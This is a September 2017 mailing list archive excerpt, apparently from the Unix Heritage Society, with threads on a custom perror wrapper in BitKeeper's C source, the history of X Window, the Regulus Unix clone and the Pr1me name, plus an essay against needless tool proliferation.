Subject: [TUHS] Weird nix? Regulus
In-Reply-To: <20170918195427.GA81302@accordion.employees.org>
References: <20170918195427.GA81302@accordion.employees.org>
Message-ID: <F4DBEEA6-E22C-436A-8825-32D20A6779AB@kdbarto.org>

I believe so. Alcyon was the company that made Regulus.

	David

> On Sep 18, 2017, at 12:54 PM, Derek Fawcus <dfawcus+lists-tuhs at employees.org> wrote:
> 
>> What a pain, almost like Unix, and not quite. l It was a clone of Unix for the 68k.
> 
> Funny, I was just poking through some ccpm68k source/tools, which happened to contain
> the Alcyon C compiler source,  and one of the files is:
> 
> $ cat v103/doc/files/Sectioname
> .fo 'REGULUS Reference Manual'- % -'FILES'
> $
> 
> The same system?
> 
> DF



From norman at oclsc.org  Tue Sep 19 22:24:25 2017
From: norman at oclsc.org (Norman Wilson)
Date: Tue, 19 Sep 2017 08:24:25 -0400 (EDT)
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
Message-ID: <20170919122425.513E34422C@lignose.oclsc.org>

Random832:

  Just out of curiosity, where does perror(filename), quite possibly the
  *most* common error message on Unix as a whole, fall on your scale? It
  says which of the file location or permissions (or whatever else) it is,
  but not whether it was attempting to open it for reading or writing.

=====

I never liked perror much.  It's a little too primitive:
you get exactly one non-formatted string; you get only
stderr, so if you're sending messages separately to a log
or writing them to a network connection or the like, you're
out of luck.

strerror(errno) hits the sweet spot for me.  Until it
appeared in the standard library (and until said standard
spread enough that one could reasonably expect to find it
anywhere) I kept writing more or less that function into
program after program.

I guess the problem with perror is that it isn't sufficiently
UNIX-like: it bundles three jobs that are really separate
(convert errno to string message, format an error message,
output the message) into one function, inseparably and
inflexibly.

Norman Wilson
Toronto ON


From lm at mcvoy.com  Tue Sep 19 23:22:50 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 06:22:50 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919072214.xcoxucuznd7q3eak@matica.foolinux.mooo.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <20170919072214.xcoxucuznd7q3eak@matica.foolinux.mooo.com>
Message-ID: <20170919132250.GK25650@mcvoy.com>

On Tue, Sep 19, 2017 at 12:22:14AM -0700, Ian Zimmerman wrote:
> On 2017-09-18 19:50, Larry McVoy wrote:
> 
> > So in the BitKeeper source, perror is redifined to my_perror which is
> > this:
> > 
> > void    
> > my_perror(char *file, int line, char *msg)
> 
> That is a different signature from perror, so I presume you mean you did
> something along the lines of
> 
> #define perror(s) (my_perror(__FILE__, __LINE__, (s)))

Yep.  It's much nicer knowing where in the source the error is coming
from.  Personally, I think this should be the libc version but I'm
weird :)


From steffen at sdaoden.eu  Tue Sep 19 23:53:59 2017
From: steffen at sdaoden.eu (Steffen Nurpmeso)
Date: Tue, 19 Sep 2017 15:53:59 +0200
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919025031.GA25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
Message-ID: <20170919135359.G38me%steffen@sdaoden.eu>

Larry McVoy <lm at mcvoy.com> wrote:
 |On Mon, Sep 18, 2017 at 08:52:08PM -0400, Random832 wrote:
 |> On Thu, Sep 14, 2017, at 15:37, Steve Johnson wrote:
 |>> I wrote a paper on error messages at one point.?? I had examples from
 |>> bad to best.?? In a nutshell (worst to best):
 |>> 
 |>>  * <program aborts, leaving the world in an unknown state>
 |>>  * "internal error",?? "beta table overflow", "operation failed"
 |>>  * "Writing the output file failed"
 |>>  * "File xxx could not be opened for writing."
 |>>  * "File xxx could not be opened for writing: check the file location
 |>> and permissions"
 |>> 
 |>>  * "Writing the output file xxx caused an error.?? See <link> for
 |>> possible reasons and corrections" 
 |>> 
 |>> Most git messages fall between 2 and 3.?? But there are occasional 4's
 |>> and 5's.
 |> 
 |> Just out of curiosity, where does perror(filename), quite possibly the
 |> *most* common error message on Unix as a whole, fall on your scale? It
 |> says which of the file location or permissions (or whatever else) it is,
 |> but not whether it was attempting to open it for reading or writing.
 |
 |So in the BitKeeper source, perror is redifined to my_perror which is
 |this:
 |
 |void    
 |my_perror(char *file, int line, char *msg)
 |{
 |        char    *p = 0;
 |        int     save = errno;
 |
 |        if (p = getenv("_BK_VERSION")) {
 |                if (strneq(p, "bk-", 3)) p += 3;
 |                fprintf(stderr, "%s:%d (%s): ", file, line, p);
 |} else {
 |                fprintf(stderr, "%s:%d: ", file, line);
 |}
 |        if (p = strerror(errno)) {
 |                fprintf(stderr, "%s: %s\n", msg, p);
 |} else {
 |                fprintf(stderr, "%s: errno=%d\n", msg, errno);
 |}
 |        errno = save;   
 |}
 |
 |libc should do that.

That really made me wonder why "save" is not used, errno may
eventually change along the way.  Ok ok, but.. well.
I have had a Txt::FormatEncoder which was the sole implementation
of a format codec (plus FormatDecoder), which supported %m

  * "%m"
  * Print the description of the \SF Errno which was active at setup() time,
  * if it's value has an assigned description
  * (otherwise a message is printed which says that this value is unknown).
  * This always prints the original english string \ldots

mostly for debugging and developers thus, but why not, except for
inter-dependencies, thus optional at least, support of
a # modifier could have been added.
The encoder could be used for finite (CP::) as well as resizable
buffers (CString, ([Sys::]IO::TextWriter, etc.) as in

  static void _MyAddVFmt(
          CString                 &_str,
          const char              *_fmt,
          void                    *_valist)
  {
          ui32                    grow, olen;
          auto Txt::FormatEncoder fe;
          // use special case+update() for better code flow
          (void)fe.setup(NIL, 0, _fmt, _valist);
          for(grow=80-1;  ;  ) {
                  olen = _str.length();
                  (void)fe.update(_str.reserve(grow).data()+olen, grow)
                          .call();
                  // resize insufficient? nothing changed!
                  if(fe.isInsufficient()) {
                          (void)_str.truncate(olen);
                          grow <<= 1;
                  } else {
                          (void)_str.truncate(olen + fe.count());
                          if(fe.isFinished())
                                  break;
                          grow = 80-1;
                  }
          }
          return;
  }

Terrible: no overflow protection.  And camel case.
Plus a [Sys::]Log and [Sys::]Log::Domain with vWrite() and

  pub static void write(Priority _prio, const char *_fmt, ...);

That was for the builtin Domain only, which needs to be created
to overcome the no-op state, optionally SMP safe:

  pub static void createBuiltinDomain(IO::Device *_dev,
                    SMP::Mutex *_mtx=NIL);
  pub static Domain *getBuiltinDomain(void){ return(s_bdom); }

Optionally in [Sys::]POSIX there also was

  pub static Log::Domain *createSyslogDomain(
                            SyslogFacility _facility=user,
                            boolean _includepid=tru1,
                            const char *_intro=NIL,
                            boolean _enabled=tru1,
                            Log::Priority _prio=Log::debug);

but that cannot be used as the main log domain.  I have forgotten
why.  It also used a shared internal socket connection and mutex
for all domains created like that, but can (re)use
CP::fromVFormat() to actually prepare the written messages in
the 1 KB stack buffer for syslog purposes.  At least.  All this of
course very inconvenient in a main():

          Mem::Cache::enableStatistics();
          Mem::Cache::configure(Mem::Cache::conf_trash, tru1);
          Std::createChannels(tru1, tru1, tru1);
  No standard streams by default.
          Log::setEnabled(tru1);
          Log::setPriority(Log::debug);
          Log::createBuiltinDomain(Std::ferr);
  No logging by default.
          (void)Misc::NYD::setDumpChannel(Std::ferr);
  And NotYetDead chirps or profiling needs to be charged, too.

But despite all faulty design decisions, implementation
shortcomings, missing focus on security details, etc., at least
you can exactly specify what is going on.  And get that and
nothing else.

Unfortunately C++ has become overly huge, and i am not rich enough
to go for a C+ / C-- / C-w-C.  Well.  There is i think a German
who did something i think nice, Python style source code,
transformed to C which then is compilable as such.  But with
garbage collection and all that stuff that interpreted languages
ship, and inclusive a runtime.  Now called Nim, Nimrod no longer.
I have just looked, in the meantime also compiles to JavaScript.
Getting real grip it seems, on github etc.  Well.  Never used it,
but sounds very interesting to me.

The NetBSD getenv() uses a fast tree i think to speed up lookups.
I think especially in massive parallel object-based programs any
sort of perror() is likely overchallenged and needs to attach to
more context.  Then again i have no idea better than "CTX1: CTX2:
CTX3: message" either, and always get a headache when i see
OpenSSL error messages which exactly go this route.  So you need
two programs, one to do the work, and the other to interpret the
error messages of the first...

--steffen
|
|Der Kragenbaer,                The moon bear,
|der holt sich munter           he cheerfully and one by one
|einen nach dem anderen runter  wa.ks himself off
|(By Robert Gernhardt)


From lm at mcvoy.com  Tue Sep 19 23:56:52 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 06:56:52 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919135359.G38me%steffen@sdaoden.eu>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <20170919135359.G38me%steffen@sdaoden.eu>
Message-ID: <20170919135652.GN25650@mcvoy.com>

On Tue, Sep 19, 2017 at 03:53:59PM +0200, Steffen Nurpmeso wrote:
> Larry McVoy <lm at mcvoy.com> wrote:
>  |On Mon, Sep 18, 2017 at 08:52:08PM -0400, Random832 wrote:
>  |> On Thu, Sep 14, 2017, at 15:37, Steve Johnson wrote:
>  |>> I wrote a paper on error messages at one point.?? I had examples from
>  |>> bad to best.?? In a nutshell (worst to best):
>  |>> 
>  |>>  * <program aborts, leaving the world in an unknown state>
>  |>>  * "internal error",?? "beta table overflow", "operation failed"
>  |>>  * "Writing the output file failed"
>  |>>  * "File xxx could not be opened for writing."
>  |>>  * "File xxx could not be opened for writing: check the file location
>  |>> and permissions"
>  |>> 
>  |>>  * "Writing the output file xxx caused an error.?? See <link> for
>  |>> possible reasons and corrections" 
>  |>> 
>  |>> Most git messages fall between 2 and 3.?? But there are occasional 4's
>  |>> and 5's.
>  |> 
>  |> Just out of curiosity, where does perror(filename), quite possibly the
>  |> *most* common error message on Unix as a whole, fall on your scale? It
>  |> says which of the file location or permissions (or whatever else) it is,
>  |> but not whether it was attempting to open it for reading or writing.
>  |
>  |So in the BitKeeper source, perror is redifined to my_perror which is
>  |this:
>  |
>  |void    
>  |my_perror(char *file, int line, char *msg)
>  |{
>  |        char    *p = 0;
>  |        int     save = errno;
>  |
>  |        if (p = getenv("_BK_VERSION")) {
>  |                if (strneq(p, "bk-", 3)) p += 3;
>  |                fprintf(stderr, "%s:%d (%s): ", file, line, p);
>  |} else {
>  |                fprintf(stderr, "%s:%d: ", file, line);
>  |}
>  |        if (p = strerror(errno)) {
>  |                fprintf(stderr, "%s: %s\n", msg, p);
>  |} else {
>  |                fprintf(stderr, "%s: errno=%d\n", msg, errno);
>  |}
>  |        errno = save;   
>  |}
>  |
>  |libc should do that.
> 
> That really made me wonder why "save" is not used, errno may
> eventually change along the way.  Ok ok, but.. well.

Huh?  save is set with errno and then errno is restored to save.   The 
point of save is to do the library calls (which do syscalls which 
could in theory change errno) and leave it the same as it was on
the way in.


From jon at fourwinds.com  Wed Sep 20 00:05:44 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 19 Sep 2017 07:05:44 -0700
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
Message-ID: <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>

Nigel Williams writes:
> Is the forerunner of X, I think called W? still around somewhere in source-form?

No clue.  Did a quick search and didn't find it.


From toby at telegraphics.com.au  Wed Sep 20 00:09:16 2017
From: toby at telegraphics.com.au (Toby Thain)
Date: Tue, 19 Sep 2017 10:09:16 -0400
Subject: [TUHS] PR1ME - was Re:  And now ... Weirdnix?
In-Reply-To: <alpine.BSF.2.21.1709191146190.89458@aneurin.horsfall.org>
References: <8AA943A2-D6C0-4812-9C16-C09D1298754F@tuhs.org>
 <20170917144909.DB27FA585CB@yagi.h-net.msu.edu>
 <CACCFpdwD4jAx69MqQ1QdT7GRuKMbVVOBjvMLbMHgu2GSRcy7rQ@mail.gmail.com>
 <201709180831.v8I8V6LB021088@freefriends.org>
 <alpine.BSF.2.21.1709191146190.89458@aneurin.horsfall.org>
Message-ID: <e14a9fa0-bcc7-ca94-aaf2-793d1a873b59@telegraphics.com.au>

On 2017-09-18 9:54 PM, Dave Horsfall wrote:
> On Mon, 18 Sep 2017, arnold at skeeve.com wrote:
> 
>> That Pr1me had a Unix emulation layer is news to me (I think). I
>> worked on the Georgia Tech Software Tools Subsystem for Pr1me
>> Computers for several years. (Oh, how I wish I had saved that last
>> release tape!!!)
> 
> What I hated about Pr1me was they implied that "1" is prime; it is not,
> as any mathematician will tell you.
> 
> In fact, I turned down a job opportunity there for precisely that
> reason, on the grounds that if they got a simple concept like that
> wrong, then where else did they screw up?
> 

The name clearly doesn't reference the concept of prime numbers; that's
only coincidence (and the incompatibility might have been a clue).

Isn't it more obviously connected to Latin 'primus', meaning 'first'?

https://en.wiktionary.org/wiki/prime#Etymology_1


From clemc at ccc.com  Wed Sep 20 00:32:20 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 19 Sep 2017 10:32:20 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919025031.GA25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
Message-ID: <CAC20D2NZLK32S-01xubuo5yqiRswf5gJP2vwHnBi1fobnzmVrw@mail.gmail.com>

On Mon, Sep 18, 2017 at 10:50 PM, Larry McVoy <lm at mcvoy.com> wrote:

> So in the BitKeeper source, perror is redifined to my_perror which is
> this:
>
> void
> my_perror(char *file, int line, char *msg)
> {
>         char    *p = 0;
>         int     save = errno;
>
>         if (p = getenv("_BK_VERSION")) {
>                 if (strneq(p, "bk-", 3)) p += 3;
>                 fprintf(stderr, "%s:%d (%s): ", file, line, p);
>         } else {
>                 fprintf(stderr, "%s:%d: ", file, line);
>         }
>         if (p = strerror(errno)) {
>                 fprintf(stderr, "%s: %s\n", msg, p);
>         } else {
>                 fprintf(stderr, "%s: errno=%d\n", msg, errno);
>         }
>         errno = save;
> }
>
> libc should do that.


​+1,  indeed!​ - knowing where the the error came from (file and line) is
huge. Yeah it means putting it in the preprocessor, which has some issues;
but it comes back to a previous comment I have made -- I really believe a
serious production language needs a preprocessor that is carefully used
because there are places (like this one) that just makes the right things
happen.

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/32420dee/attachment.html>

From lm at mcvoy.com  Wed Sep 20 00:42:06 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Tue, 19 Sep 2017 07:42:06 -0700
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <CAC20D2NZLK32S-01xubuo5yqiRswf5gJP2vwHnBi1fobnzmVrw@mail.gmail.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <CAC20D2NZLK32S-01xubuo5yqiRswf5gJP2vwHnBi1fobnzmVrw@mail.gmail.com>
Message-ID: <20170919144206.GP25650@mcvoy.com>

On Tue, Sep 19, 2017 at 10:32:20AM -0400, Clem Cole wrote:
> On Mon, Sep 18, 2017 at 10:50 PM, Larry McVoy <lm at mcvoy.com> wrote:
> 
> > So in the BitKeeper source, perror is redifined to my_perror which is
> > this:
> >
> > void
> > my_perror(char *file, int line, char *msg)
> > {
> >         char    *p = 0;
> >         int     save = errno;
> >
> >         if (p = getenv("_BK_VERSION")) {
> >                 if (strneq(p, "bk-", 3)) p += 3;
> >                 fprintf(stderr, "%s:%d (%s): ", file, line, p);
> >         } else {
> >                 fprintf(stderr, "%s:%d: ", file, line);
> >         }
> >         if (p = strerror(errno)) {
> >                 fprintf(stderr, "%s: %s\n", msg, p);
> >         } else {
> >                 fprintf(stderr, "%s: errno=%d\n", msg, errno);
> >         }
> >         errno = save;
> > }
> >
> > libc should do that.
> 
> 
> ???+1,  indeed!??? - knowing where the the error came from (file and line) is
> huge. Yeah it means putting it in the preprocessor, which has some issues;
> but it comes back to a previous comment I have made -- I really believe a
> serious production language needs a preprocessor that is carefully used
> because there are places (like this one) that just makes the right things
> happen.

Yep.  And the _BK_VERSION stuff is obviously BK specific, but if there was
a way to generalize that so you could have _APPLICATION_VERSION or something
and that got printed with the error then you get stuff like

slib.c:1653 (bk-7.3): open failed: permission denied

which is way way way more useful than just permission denied.


From clemc at ccc.com  Wed Sep 20 01:12:45 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 19 Sep 2017 11:12:45 -0400
Subject: [TUHS] Happy birthday,
 Dennis Ritchie! [ really sun vs dec/apollo --> X and NeWS ]
In-Reply-To: <20170919144206.GP25650@mcvoy.com>
References: <f05f5fe905a5279e242c1ff265f43c690eb4052e@webmail.yaccman.com>
 <1505782328.3172479.1110519744.63D53ACC@webmail.messagingengine.com>
 <20170919025031.GA25650@mcvoy.com>
 <CAC20D2NZLK32S-01xubuo5yqiRswf5gJP2vwHnBi1fobnzmVrw@mail.gmail.com>
 <20170919144206.GP25650@mcvoy.com>
Message-ID: <CAC20D2PGn8RXzgvBEGRg7UbDA9TW_O-iwq950UD2NY8sNjFB8g@mail.gmail.com>

On Tue, Sep 19, 2017 at 10:42 AM, Larry McVoy <lm at mcvoy.com> wrote:

> slib.c:1653 (bk-7.3): open failed: permission denied
>
> which is way way way more useful than just permission denied.

​And just as easy to use for the programmer... which is why it make so much
sense.​

​This ​
is an example of what I mean by "good taste."​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/d2bf1514/attachment.html>

From gregg.drwho8 at gmail.com  Wed Sep 20 01:16:24 2017
From: gregg.drwho8 at gmail.com (Gregg Levine)
Date: Tue, 19 Sep 2017 11:16:24 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
Message-ID: <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>

Hello!
Wasn't the original project called "Athena", and wasn't it pursued by
one of the many Labs at MIT? I remember going over it in a big way
about the same time I started being an almost serious kernel hacker,
and that was while the kernel created by Linus was using BitKeeper as
its source control mechanism. This was around the turn of the century.

Oddly enough I also pursued and engaged a company who attempted to
combine an early X release with thier DOS based multitasking tool. The
discussion was rewarding, but it did not save the company.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 19, 2017 at 10:05 AM, Jon Steinhart <jon at fourwinds.com> wrote:
> Nigel Williams writes:
>> Is the forerunner of X, I think called W? still around somewhere in source-form?
>
> No clue.  Did a quick search and didn't find it.


From chet.ramey at case.edu  Wed Sep 20 01:39:46 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Tue, 19 Sep 2017 11:39:46 -0400
Subject: [TUHS] old X versions
In-Reply-To: <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
Message-ID: <1620f879-e4be-7fca-8bf7-a1a8896d8ba1@case.edu>

On 9/19/17 11:16 AM, Gregg Levine wrote:
> Hello!
> Wasn't the original project called "Athena", and wasn't it pursued by
> one of the many Labs at MIT?

The athena project was indeed at MIT, and X was a part of that. This
would have been started and developed during the mid-1980s (1983, to be
exact).  X's predecessor was a window system named W, which was developed
at Stanford. Bob Scheifler used W as the basis for X.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/


From clemc at ccc.com  Wed Sep 20 01:40:10 2017
From: clemc at ccc.com (Clem Cole)
Date: Tue, 19 Sep 2017 11:40:10 -0400
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
Message-ID: <CAC20D2PMTqscGny62Lojh=zwEFgwyTEniLEEKcPoYrGirSJSgQ@mail.gmail.com>

On Tue, Sep 19, 2017 at 11:16 AM, Gregg Levine <gregg.drwho8 at gmail.com>
wrote:

>
> Wasn't the original project called "Athena", and wasn't it pursued by
> one of the many Labs at MIT?


​Greg - not quite right, although I can see how I might look that way from
the outside.   The Athena project was MIT's reaction to the CMU Andrew​
Project.  I'll not bring the somewhat humorous history but basic question
asked was simple... assume CMU succeeded in building the proposed 3M
'SPICE' system for Andrew.   MIT wanted to know: How would you deploy it?
Athena set out to figure that out...

It's interesting the two pieces of Athena that actually still live are X
and Kerberos where were developed as part of the Athena project.   I
understand why Kerberos and much of that tech was needed if you were going
to deploy hundreds of computers.   I don't remember the argument for
writing X - i.e. why it was needed, you'd have to ask Dan Geer (I've
forgotten).

FYI: In the case of Andrew, Mach and some of the AFS technology (and I've
heard some suggest it helped to move IBM into the doing RIOS which
eventually lead to Power/PC).

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170919/1a52929e/attachment.html>

From usotsuki at buric.co  Wed Sep 20 03:01:27 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Tue, 19 Sep 2017 13:01:27 -0400 (EDT)
Subject: [TUHS] old X versions (was:X and NeWS history)
In-Reply-To: <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
References: <alpine.BSF.2.21.1709090646420.48526@aneurin.horsfall.org>
 <b45b9e23-aaa4-4f54-9480-ff0aaac36cc6.maildroid@localhost>
 <CABH=_VQKSibxN4VgF-1AwgseqRCeVbVApvVR0cE8fMFQWLCuQQ@mail.gmail.com>
 <201709111649.v8BGnGTx005812@darkstar.fourwinds.com>
 <20170911230910.GH7819@mcvoy.com>
 <201709120738.v8C7ckOF007026@freefriends.org>
 <201709121535.v8CFZOuB015695@darkstar.fourwinds.com>
 <cf237a06-76b6-9d50-8a49-df9f9ce652a2@kilonet.net>
 <201709122211.v8CMB3pf029787@darkstar.fourwinds.com>
 <y2ashfrxz6k.fsf@offog.org>
 <201709130014.v8D0EHEi021561@darkstar.fourwinds.com>
 <e17188e9-abe0-33d5-54b8-73ce98ca28f8@groessler.org>
 <1505781872.3170445.1110508336.1E68BC0D@webmail.messagingengine.com>
 <CACCFpdx0q6GGK4YpT9N8b_DROiuwYBR=bWsx2VtB1k=77b5x8Q@mail.gmail.com>
 <201709191405.v8JE5iI5027378@darkstar.fourwinds.com>
 <CAC5iaNGwPEkkKMZghOg_PQjRjMs_nP+z2eWkcpoy24BHScQRig@mail.gmail.com>
Message-ID: <alpine.BSF.2.02.1709191301060.12195@frieza.hoshinet.org>

On Tue, 19 Sep 2017, Gregg Levine wrote:

> Oddly enough I also pursued and engaged a company who attempted to
> combine an early X release with thier DOS based multitasking tool. The
> discussion was rewarding, but it did not save the company.

Sounds like DesQview/X?

-uso.


From jon at fourwinds.com  Wed Sep 20 03:01:57 2017
From: jon at fourwinds.com (Jon Steinhart)
Date: Tue, 19 Sep 2017 10:01:57 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
Message-ID: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>

OK, here's another one that's good for chest thumping...

I am not a fan of texinfo.  It doesn't provide any benefits (to me) over man.

I suppose that it was trailblazing in that it broke manual pages up into
sections that couldn't easily be viewed concurrently long before the www and
web pages that broke things up into multiple pages to make room for more ads.

Any benefits that texinfo might have are completely lost by the introduction
of multiple non-intersecting ways to find documentation.

This is a systemic problem.  I have a section in my book-in-progress where I
talk about being a "good programming citizen".  One of the things that I say
is:

    Often there is a tool that does most of what you need but is lacking
    some feature or other.  Add that feature to the existing tool;
    don't just write a new one.  The problem with writing a new one
    is that, as a tool user, you end up having to learn a lot of tools
    that perform essentially the same function.  It's a waste of time
    an energy.  A good example is the make utility (invented by Stuart
    Feldman at Bell Labs in 1976) that is used to build large software
    packages.  As time went on, new features were needed.  Some were
    added to make, but many other incompatible utilities were created that
    performed similar functions.  Don't create burdens for others.
    Improve existing tools if possible.

A funny example of this is when I was consulting for Xilinx in the late 80s
on a project that had to run on both Suns and PCs.  Naturally, I did the
development on a Sun and ported to the PC later.  When it came time to do
the port, a couple of the employees proudly came to me and told me about
this wonderful program that they wrote that was absolutely necessary for
doing the PC build.  I was completely puzzled and told them that I already
had the PC build complete.  They told me that that couldn't be possible
since I didn't use their wonderful utility.  Turns out that their utility
wrote out all of the make dependencies for the PC.  I, of course, wrote a
.c.obj rule which was all that it took.  They were excessively angry at me
for inadvertently making them look like fools that they were.

